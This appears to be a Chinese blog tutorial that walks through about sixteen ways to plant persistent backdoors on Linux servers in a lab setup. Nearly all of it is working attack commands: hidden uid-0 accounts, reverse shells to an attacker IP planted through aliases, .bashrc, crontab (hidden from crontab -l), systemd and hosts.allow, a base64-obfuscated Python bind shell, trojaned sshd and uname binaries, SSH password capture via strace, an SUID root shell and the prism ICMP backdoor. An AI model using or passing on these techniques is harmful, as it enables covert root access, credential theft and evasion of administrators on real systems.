溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解Linux系統(tǒng)后門

發(fā)布時間:2021-10-20 17:11:07 來源:億速云 閱讀:227 作者:iii 欄目:編程語言

這篇文章主要介紹“如何理解Linux系統(tǒng)后門”,在日常操作中,相信很多人在如何理解Linux系統(tǒng)后門問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”如何理解Linux系統(tǒng)后門”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

平臺及工具版本

host系統(tǒng):manjaro linux(192.168.242.1)

虛擬機管理程序:vmware workstation 16

虛擬機:CentOS 7(192.168.242.133)、ubuntu(192.168.242.143)、CentOS 6.5(192.168.242.132)

一、Linux系統(tǒng)創(chuàng)建uid為0的后門賬戶

(一)CentOS 7系統(tǒng)命令行創(chuàng)建uid為0的用戶

1、 直接創(chuàng)建

useradd -o -u 0 backdoor && echo "Eu2xa2fu@#" | passwd backdoor --stdin

如何理解Linux系統(tǒng)后門

經(jīng)驗證可以正常登錄。

//通過交互式方式創(chuàng)建用戶并設(shè)置口令

useradd -o -u 0 test1

passwd test1

2、 將命令與PROMPT_COMMAND結(jié)合

(1)寫入/root/.bashrc文件

vi /root/.bashrc  //編輯root用戶的配置文件,加入下面的內(nèi)容

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

保存退出

source /root/.bashrc  //執(zhí)行文件中的指令,賬戶被創(chuàng)建。

以后每次切換到root時都會執(zhí)行/root/.bashrc中的指令,從而創(chuàng)建賬戶。

(2)驗證

cat /etc/passwd | grep hack

如何理解Linux系統(tǒng)后門

后門賬戶創(chuàng)建成功。

(二)Ubuntu系統(tǒng)

useradd -p 0`openssl passwd -1 -salt 'abc' pass1234` -u 0  -o -g root -G root -s /bin/bash hack

如何理解Linux系統(tǒng)后門

創(chuàng)建成功。

二、CentOS 7系統(tǒng)創(chuàng)建alias后門

(一)創(chuàng)建Linux系統(tǒng)命令如ls的別名

1、 受控端創(chuàng)建別名

//使用ruby實現(xiàn)反彈連接(使用netcat接收)。ruby的反彈連接建立后會轉(zhuǎn)入后臺,不暴露任何痕跡,非常隱蔽,推薦使用。注意內(nèi)部的雙引號都是"'"'"。

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"

//使用ruby實現(xiàn)反彈連接(使用msfconsole接收),注意雙引號的嵌套。

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end';};alerts"

2、 攻擊者監(jiān)聽本地端口

nc -l -p 5555

3、 受控端管理員執(zhí)行l(wèi)s命令(ruby,使用netcat接收)

如何理解Linux系統(tǒng)后門

4、 攻擊者獲得反彈shell

如何理解Linux系統(tǒng)后門

(二)創(chuàng)建alias和unalias的別名

由于alias命令可以查看當前的別名,會讓ls的反彈指令暴露。因此需要劫持alias命令,讓它的輸出中不顯示反彈的指令。另外unalias命令會清除別名,因此也要對其進行劫持,避免ls的別名被清除。

如何理解Linux系統(tǒng)后門

1、 創(chuàng)建unalias的別名

//若先創(chuàng)建alias的別名,那么alias就失去了原來alias的功能,則unalias的別名就無法創(chuàng)建了

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

如何理解Linux系統(tǒng)后門

不會清除ls別名。

2、 創(chuàng)建alias的別名

vi /tmp/.alias.txt  //加入下面的內(nèi)容

alias egrep='egrep --color=auto'

alias fgrep='fgrep --color=auto'

alias grep='grep --color=auto'

alias l.='ls -d .* --color=auto'

alias ll='ls -l --color=auto'

alias ls='ls --color=auto'

alias vi='vim'

alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

保存退出

alias alias="cat /tmp/.alias.txt"

如何理解Linux系統(tǒng)后門

(三)alias加入隱蔽的位置

1、 在正常的位置創(chuàng)建合理的文件

vi /etc/yum/yum-update.rc  //創(chuàng)建文件,加入別名設(shè)置

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias="cat /tmp/.alias.txt"

保存退出

2、 將正常文件的時間復制給包含alias的文件

touch -acmr version-groups.conf yum-update.rc

3、 利用alias別名實現(xiàn)連接

被攻擊者操作:

如何理解Linux系統(tǒng)后門

攻擊者獲得反彈shell:

如何理解Linux系統(tǒng)后門

三、CentOS 7系統(tǒng)創(chuàng)建bashrc后門

(一)攻擊者將惡意指令寫入~/.bashrc文件

su  //切換到root

echo 'bash -i >& /dev/tcp/192.168.242.1/5555 0>&1' > ~/.bashrc

(二)攻擊者監(jiān)聽本地端口

nc -l -p 5555

(三)管理員登錄被攻擊服務(wù)器

su  //管理員先以普通用戶身份登錄,之后切換到root

(四)攻擊者得到反彈連接

nc -l -p 5555

如何理解Linux系統(tǒng)后門

得到shell,說明.bashrc文件中的反彈指令被執(zhí)行。

四、CentOS 7系統(tǒng)創(chuàng)建crontab后門

(一)添加計劃任務(wù)

方法1、使用crontab命令創(chuàng)建計劃任務(wù),并使用nc接收連接

1、添加非隱藏的計劃任務(wù)

crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&1"; } | crontab -

//每分鐘執(zhí)行一次反彈連接

如何理解Linux系統(tǒng)后門

計劃任務(wù)添加成功。

nc -l -p 5555  //攻擊者監(jiān)聽本地端口

如何理解Linux系統(tǒng)后門

得到shell,說明計劃任務(wù)被執(zhí)行。

2、以隱藏的方式加入計劃任務(wù)

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&amp1;\rno crontab for `whoami`%100c\n")|crontab -

如何理解Linux系統(tǒng)后門

管理員使用crontab -l看不到添加的的計劃任務(wù)。

解釋:

crontab將用戶的計劃任務(wù)保存到“/var/spool/cron/用戶名”文件中。crontab -l實際上是使用cat命令查看這個文件:

如何理解Linux系統(tǒng)后門

但使用vim命令查看,這個文件的內(nèi)容是:

如何理解Linux系統(tǒng)后門

使用cat命令的-A選項也可以看到文件的真正內(nèi)容:

cat -A /var/spool/cron/root

如何理解Linux系統(tǒng)后門

攻擊者得到反彈連接:

如何理解Linux系統(tǒng)后門

方法2、直接寫入/etc/crontab文件,并使用msfconsole接收連接

sh -c "echo '* * * * * root cd /tmp && mknod backpipe p && nc 192.168.242.1 5555 0<backpipe | /bin/bash 1>backpipe' >> /etc/crontab"

攻擊者接收反彈連接

msfconsole

use exploit/multi/handler

set payload cmd/unix/reverse_bash

set lhost 192.168.242.1

set lport 5555

exploit

一分鐘之后即可獲得連接:

如何理解Linux系統(tǒng)后門

五、CentOS 7系統(tǒng)通過PROMPT_COMMAND環(huán)境變量創(chuàng)建后門

(一)創(chuàng)建后門,監(jiān)聽1025端口

vi ~user1/.bashrc  //修改配置文件,加入下面的內(nèi)容

export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))\" 2>/dev/null &)"

保存退出

source ~/.bashrc  //使配置立即生效

netstat -an | grep :1025  //查看1025端口的監(jiān)聽情況。

如何理解Linux系統(tǒng)后門

每次user1用戶登錄都會自動執(zhí)行其.bashrc文件中的指令,也就是說,開始監(jiān)聽1025端口。

(二)攻擊者遠程連接

nc 192.168.242.133 1025

如何理解Linux系統(tǒng)后門

連接成功,得到shell。

六、CentOS 7系統(tǒng)創(chuàng)建ssh服務(wù)后門

原理:Linux軟鏈接ssh后門需要ssh支持PAM認證。將sshd軟鏈接名稱設(shè)置為su,這樣在命令啟動后會到PAM配置中查找是否存在對應su的配置信息。

(一)創(chuàng)建ssh后門

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

如何理解Linux系統(tǒng)后門

開始監(jiān)聽31337端口。

也可以使用下面的命令監(jiān)聽端口:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=12345

ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=12345

(二)遠程連接到ssh后門

ssh -p 31337 root@192.168.242.133

如何理解Linux系統(tǒng)后門

使用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。

七、manjaro 20系統(tǒng)創(chuàng)建ssh客戶端后門

(一)創(chuàng)建ssh命令的alias

被攻擊者:manjaro 20系統(tǒng),編輯用戶的.bashrc配置文件。

vi ~/.bashrc  //文件末尾加入下面的指令

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

保存退出

source ~/.bashrc

(二)獲取ssh賬戶口令

1、 manjaro系統(tǒng)中的用戶發(fā)起ssh連接

ssh user1@192.168.242.133  //正常用戶執(zhí)行ssh連接,在/tmp目錄生成記錄

2、 獲取ssh賬戶/口令

cat /tmp/sshpwd-2411月111606192953.log  | grep -n password | grep write  //查找指定信息所在的行,這里是第89行

如何理解Linux系統(tǒng)后門

less /tmp/sshpwd-2411月111606192953.log

輸入89g,跳到第89行

如何理解Linux系統(tǒng)后門

密碼就在這里:123456

八、CentOS 7系統(tǒng)創(chuàng)建ssh證書后門

(一)攻擊者生成非對稱密鑰對

ssh-keygen -t rsa  //生成公私密鑰對,輸入密鑰短語

如何理解Linux系統(tǒng)后門

(二)CentOS 7服務(wù)器配置允許公鑰登錄

vi /etc/ssh/sshd_config  //編輯配置文件,設(shè)置如下信息

PermitRootLogin yes

StrictModes no

PubkeyAuthentication yes

AuthorizedKeysFile %h/.ssh/authorized_keys

RSAAuthentication yes

保存退出

注意:

(1)RSAAuthentication yes這一行需要手寫到配置文件中最后一行。

(2)AuthorizedKeysFile參數(shù)中,%h代表用的主目錄,%h/后面有個點,沒有點將會出現(xiàn)“Permission Denied (publickey)”的錯誤提示,無法連接。

(3)注意取消行首的注釋符。

systemctl restart sshd  //重新啟動ssh服務(wù)

如何理解Linux系統(tǒng)后門

配置生效。

(三)攻擊者上傳證書

scp ~/.ssh/id_rsa.pub root@192.168.242.133:~  //攻擊者將本地用戶的公鑰上傳到服務(wù)器

如何理解Linux系統(tǒng)后門

上傳成功。注意傳到用戶的主目錄即可,不要復制到~/.ssh/id_rsa.pub,這樣會覆蓋目標主機自己的公鑰文件。注意id_rsa.pub文件不是隱藏的。

也可以使用 ssh-copy-id 將自己的公鑰復制到目標系統(tǒng)

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.133

(四)CentOS 7服務(wù)器將攻擊者公鑰加入authorized_keys

cat /root/id_rsa.pub >> ~/.ssh/authorized_keys

systemctl restart sshd  //重啟ssh服務(wù)

如何理解Linux系統(tǒng)后門

(五)攻擊者通過證書登錄服務(wù)器

ssh -i /root/.ssh/id_rsa root@192.168.242.133

如何理解Linux系統(tǒng)后門

//由于公鑰上傳到了服務(wù)器root賬戶的home目錄,所以這里要指定root用戶。如果不指定,則默認使用攻擊者當前的用戶—user1,而前面未向服務(wù)器的user1用戶的home目錄上傳公鑰,這樣要登錄還得要賬戶口令驗證。

九、CentOS 7系統(tǒng)創(chuàng)建suid后門

(一)創(chuàng)建suid后門文件

1、 創(chuàng)建源代碼文件

sudo echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c

2、 編譯

sudo gcc -o privshell privshell.c  //編譯為可執(zhí)行文件,名為privshell

3、 予執(zhí)行權(quán)限并設(shè)置suid標志位

sudo chown root:root privshell && sudo chmod u+s privshell

(二)普通用戶執(zhí)行suid后門獲取root權(quán)限

./privshell

如何理解Linux系統(tǒng)后門

十、CentOS 7系統(tǒng)創(chuàng)建systemd服務(wù)后門

(一)創(chuàng)建后門

1、 創(chuàng)建服務(wù)描述文件

cd /usr/lib/systemd/system

touch backdoor.service

vi backdoor.service  //編輯文件,加入下面的內(nèi)容

[Unit]

Description=Very important backdoor.

After=network.target

[Service]

Type=forking

ExecStart=nc -e /bin/bash 192.168.242.1 5555 >/dev/null 2>&1

ExecReload=

ExecStop=

PrivateTmp=true

[Install]

WantedBy=multi-user.target

保存退出

2、 給予執(zhí)行權(quán)限

chmod +x /usr/lib/systemd/system/backdoor.service

3、 使服務(wù)生效

systemctl daemon-reload  //重新讀取服務(wù)信息

(二)攻擊者監(jiān)聽本地端口

nc -l -p 5555

(三)被控端啟動后門

systemctl enable backdoor

systemctl start backdoor

(四)攻擊者獲得shell

如何理解Linux系統(tǒng)后門

十一、CentOS 7系統(tǒng)創(chuàng)建tcp wrapper后門

TCP_Wrappers是一個工作在應用層的安全工具,它對某些具體應用或者服務(wù)可以起到一定的防護作用。比如說針對ssh、telnet、FTP等服務(wù)的請求,都會先受到TCP_Wrappers的攔截。

TCP_Wrappers有一個TCP的守護進程叫作tcpd。以telnet為例,每當有telnet的連接請求時,tcpd即會截獲請求,先讀取系統(tǒng)管理員所設(shè)置的訪問控制文件,合乎要求,則會把這次連接原封不動的轉(zhuǎn)給真正的telnet進程,由telnet完成后續(xù)工作;如果這次連接發(fā)起的ip不符合訪問控制文件中的設(shè)置,則會中斷連接請求。

(一)被攻擊服務(wù)器操作

1、 創(chuàng)建tcp wrapper后門

vi /etc/hosts.allow  //編輯配置文件,加入下面的內(nèi)容

ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.242.1/443 0>&1") & :allow

保存退出。

上面指令的含義是,允許所有的連接,并且當連接出現(xiàn)時,啟動bash進行反彈連接。

(二)攻擊者本地操作

1、 監(jiān)聽本地端口

sudo nc -l -p 443

2、 連接目標服務(wù)器

ssh 192.168.242.133  //連接目標服務(wù)器的22端口

如何理解Linux系統(tǒng)后門

無需輸入口令

3、 接收反彈連接

如何理解Linux系統(tǒng)后門

成功獲取反彈shell,權(quán)限為root。

十二、ubuntu 1604系統(tǒng)創(chuàng)建rhosts++后門

(一)部署rsh服務(wù)

1、 安裝rsh和xinetd

apt-get install rsh-client rsh-server xinetd

2、 配置xinetd

touch /etc/xinetd.d/rsh  && vi /etc/xinetd.d/rsh  //加入下面的內(nèi)容

# default: on

# descrīption: The rshd server is the server for the rcmd(3) routine and, \

# consequently, for the rsh(1) program.  The server provides \

# remote execution facilities with authentication based on \

# privileged port numbers from trusted hosts.

service shell

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rshd

}

/etc/xinetd.d/rlogin

# default: on

# descrīption: rlogind is the server for the rlogin(1) program.  The server \

# provides a remote login facility with authentication based on \

# privileged port numbers from trusted hosts.

service login

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rlogind

}

/etc/xinetd.d/rexec

# default: off

# descrīption: Rexecd is the server for the rexec(3) routine.  The server \

# provides remote execution facilities with authentication based \

# on user names and passwords.

service exec

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rexecd

}

保存退出

/etc/init.d/xinetd restart  //重啟服務(wù),rsh等服務(wù)隨之啟動

(二)創(chuàng)建rhosts++后門

1、 修改配置文件

vi /root/.rhosts  //編輯文件,加入下面的內(nèi)容

+ +

保存退出

2、 攻擊者遠程訪問ubuntu主機

rsh 192.168.242.143 date  //遠程執(zhí)行系統(tǒng)命令

如何理解Linux系統(tǒng)后門

執(zhí)行成功

rsh 192.168.242.143 /bin/bash  //獲取遠程系統(tǒng)的shell

如何理解Linux系統(tǒng)后門

后門創(chuàng)建成功。

十三、ubuntu 1604系統(tǒng)創(chuàng)建xinetd后門

(一)安裝xinetd服務(wù)和telnetd服務(wù)

1、 安裝xinetd和telnetd軟件

sudo apt-get install xinetd telnetd

dpkg -L xinetd | grep '/usr/sbin/\|/etc/'  //查看xinetd的可執(zhí)行文件和配置文件

/usr/sbin/xinetd

/usr/sbin/itox

/usr/sbin/xconv.pl

/etc/init

/etc/init/xinetd.conf

/etc/xinetd.conf

/etc/init.d

/etc/init.d/xinetd

/etc/default

/etc/default/xinetd

/etc/xinetd.d

/etc/xinetd.d/daytime

/etc/xinetd.d/time

/etc/xinetd.d/discard

/etc/xinetd.d/echo

/etc/xinetd.d/chargen

dpkg -L telnetd | grep '/usr/sbin\|/etc/'  //查看telnetd的可執(zhí)行文件和配置文件

/usr/sbin

/usr/sbin/in.telnetd

telnetd軟件包只有可執(zhí)行文件,沒有配置文件。

2、 配置xinetd

vi /etc/xinetd.d/telnet  //默認不存在,創(chuàng)建并編輯,加入下面內(nèi)容

# default: on

# description: The telnet server serves telnet sessions; it uses \

# unencrypted username/password pairs for authentication.

service telnet

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = root

server = /usr/sbin/in.telnetd

log_on_failure += USERID

}

保存退出。

/etc/init.d/xinetd restart  //重啟xinetd服務(wù)

netstat -an | grep :23  //查看端口監(jiān)聽情況

3、 允許root遠程登錄

vi /etc/securetty  //加入下面內(nèi)容

pts/0

pts/1

pts/2

pts/3

保存退出。

service xinetd restart  //重啟服務(wù)

這樣root就可以通過pts/0到pts/3這幾個終端登錄linux了。

(二)配置telnetd后門

1、 創(chuàng)建后門腳本

touch telnetd.sh && chmod +x telnetd.sh

vi telnetd.sh  //編輯文件,加入下面的內(nèi)容

#!/bin/bash

socat udp-connect:192.168.242.1:5555 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

/usr/sbin/in.telnetd

保存退出。

2、 修改telnet服務(wù)配置文件

vi /etc/xinetd.d/telnet

server = /usr/sbin/in.telnetd

改為

server = /home/user1/telnetd.sh

保存退出。

/etc/init.d/xinetd restart  //重啟xinetd服務(wù)

netstat -an | grep :23  //查看端口監(jiān)聽情況

如何理解Linux系統(tǒng)后門

3、 攻擊者監(jiān)聽本地端口

nc -ul -p 5555

4、 攻擊者訪問目標主機的telnet端口

telnet 192.168.242.143

telnet服務(wù)命令被觸發(fā),執(zhí)行服務(wù)配置文件中指定的腳本。

5、 攻擊者得到反彈shell

如何理解Linux系統(tǒng)后門

十四、CentOS 7系統(tǒng)創(chuàng)建冒充ssh服務(wù)程序的shell腳本后門

(一)被控端創(chuàng)建假冒的sshd文件

mv /usr/sbin/sshd /usr/bin/  //將真正的sshd程序轉(zhuǎn)移

touch /usr/sbin/sshd  //創(chuàng)建假冒的sshd腳本文件

vi /usr/sbin/sshd  //編輯文件,加入下面的內(nèi)容

#!/usr/bin/perl

exec"/bin/bash"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

保存退出

chmod +x /usr/sbin/sshd  //給予執(zhí)行權(quán)限

systemctl restart sshd  //重啟ssh服務(wù),實際上執(zhí)行了惡意腳本中的代碼

(二)攻擊者遠程連接

socat STDIO TCP4:192.168.242.133:22,sourceport=19526

如何理解Linux系統(tǒng)后門

注意必須加上源端口參數(shù)。

十五、CentOS 7系統(tǒng)創(chuàng)建可以冒充系統(tǒng)命令的shell腳本后門

(一)攻擊者在被控制的服務(wù)器上創(chuàng)建冒充uname程序的腳本

touch /usr/local/bin/uname  //創(chuàng)建后門腳本文件

vi /usr/local/bin/uname  //編輯文件,加入下面的內(nèi)容

#!/bin/bash

nc -l -v -p 4444 -e /bin/bash 2>/dev/null &

socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &

socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &

perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &

/bin/uname $@

保存退出。上面的四條監(jiān)聽端口的命令選擇執(zhí)行其中一條就可以。

(二)管理員運行被冒充的命令

uname -r

如何理解Linux系統(tǒng)后門

可以看到,執(zhí)行是正常的。但是端口也暗中開始監(jiān)聽了:

如何理解Linux系統(tǒng)后門

(三)攻擊者遠程連接被控端

nc 192.168.242.133 4444

如何理解Linux系統(tǒng)后門

四個端口都可以連接。

十六、CentOS 6.5系統(tǒng)使用icmp后門prism

(一)下載prism包

https://github.com/andreafabrizi/prism/

(二)攻擊者本地操作

1、 解壓縮,編譯prism.c,但不要執(zhí)行

gcc -DDETACH -m32 -Wall -s -o prism prism.c

如何理解Linux系統(tǒng)后門

編譯成功,生成了可執(zhí)行文件。

2、 prism可執(zhí)行文件傳送到受控端

scp prism user1@192.168.242.132:/home/user1/

如何理解Linux系統(tǒng)后門

3、 攻擊者監(jiān)聽本地端口

nc -l -p 6666

(三)受控端的操作

1、 為了正常運行prism,需要安裝下面的軟件

yum install glibc.i686

2、 運行prism

./prism   //以root身份運行

如何理解Linux系統(tǒng)后門

運行后沒有提示

(四)攻擊者本地操作

1、 運行sendPacket.py,指定受控端IP地址、連接口令、控制端IP地址和監(jiān)聽端口

python2 sendPacket.py 192.168.242.132 p4ssw0rd 192.168.242.1 6666

連接口令默認為p4ssw0rd。

2、 監(jiān)聽程序接收到反彈連接

如何理解Linux系統(tǒng)后門

(五)檢查通信流量

最初的sendPacket.py發(fā)出的是icmp包。抓包確認:

如何理解Linux系統(tǒng)后門

第一個包是ICMP request,包的內(nèi)容中可以看到反彈地址和連接口令。

如何理解Linux系統(tǒng)后門

后面的包就都是TCP協(xié)議的數(shù)據(jù)包了。

控制端發(fā)出cat /etc/passwd命令,從受控端回傳給控制端的數(shù)據(jù)包來看,能看出源、目的IP地址,源、目的端口。并且還能看到數(shù)據(jù),是cat /etc/passwd命令的結(jié)果。

如何理解Linux系統(tǒng)后門

所以prism只是通過icmp進行連接的觸發(fā),后續(xù)的命令和都是通過TCP協(xié)議傳輸?shù)摹T撥浖m用于攻擊者無法主動連接到服務(wù)器的TCP/UDP端口,但是可以ping通服務(wù)器的情況。prism在服務(wù)器上監(jiān)聽icmp請求,并驗證連接口令。驗證通過之后服務(wù)器主動連接到攻擊者的VPS,攻擊者得到反彈shell。由此可見prism是一個icmp后門。

到此,關(guān)于“如何理解Linux系統(tǒng)后門”的學習就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關(guān)知識,請繼續(xù)關(guān)注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI